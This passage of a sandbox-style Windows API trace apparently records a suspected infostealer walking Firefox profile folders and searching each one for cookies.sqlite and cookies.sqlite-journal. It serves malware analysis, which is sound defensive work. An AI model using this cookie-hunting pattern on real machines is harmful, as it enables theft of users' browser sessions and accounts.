pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="toFetch" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch" [0110.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0110.640] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5a [0110.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb4) returned 0x9a91aa0 [0110.640] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", lpDst=0x9a91aa0, nSize=0x5a | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned 0x5a [0110.640] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned 89 [0110.640] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.640] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0110.640] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite" [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0110.640] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*" [0110.640] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0110.641] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.641] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0110.641] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0110.641] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toFetch", cAlternateFileName="")) returned 0 [0110.641] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e530 | out: hHeap=0x9770000) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0110.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0110.641] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps", cAlternateFileName="")) returned 1 [0110.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0110.641] lstrlenW (lpString="webapps") returned 7 [0110.641] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="webapps" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps" [0110.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0110.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x54 [0110.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa8) returned 0x9a6e480 [0110.641] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", lpDst=0x9a6e480, nSize=0x54 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned 0x54 [0110.641] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned 83 [0110.641] lstrlenW (lpString="cookies.sqlite") returned 14 [0110.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e530 [0111.566] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", pszFile="cookies.sqlite" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite" [0111.567] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.576] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*" [0111.576] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.576] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.576] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.576] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe2342590, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 1 [0111.577] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.577] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe2342590, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 0 [0111.577] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e530 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.577] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a06300, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41a06300, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfecda5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0111.577] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.577] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a06300, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41a06300, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfecda5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 0 [0111.577] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0111.577] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0111.577] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0111.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0111.577] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9770cb0 [0111.577] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Mozilla\\Firefox\\Profiles", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0111.578] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9770f10 [0111.578] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Mozilla\\Firefox\\Profiles", lpDst=0x9770f10, nSize=0x3b | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3b [0111.578] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 58 [0111.578] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.578] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0111.578] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite-journal" [0111.578] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\cookies.sqlite-journal", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="3Y2JOH~1.DEF")) returned 0xffffffffffffffff [0111.578] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*" [0111.578] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0111.578] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.578] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.578] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0111.578] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.578] lstrlenW (lpString="3y2joh8o.default") returned 16 [0111.578] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", pszFile="3y2joh8o.default" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default" [0111.578] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0111.578] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4c [0111.578] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x98) returned 0x9a6e990 [0111.578] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", lpDst=0x9a6e990, nSize=0x4c | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 0x4c [0111.578] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default") returned 75 [0111.578] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.578] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0111.578] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite-journal" [0111.579] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite-journal", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="WEBAPP~1.SQL")) returned 0xffffffffffffffff [0111.579] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*" [0111.579] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0111.579] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.579] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.579] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4219c920, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x4219c920, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x4219c920, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0111.579] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.579] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f925320, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf33be400, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf33be400, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0111.579] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.579] lstrlenW (lpString="bookmarkbackups") returned 15 [0111.579] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="bookmarkbackups" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups" [0111.579] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.579] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\bookmarkbackups", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5c [0111.579] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb8) 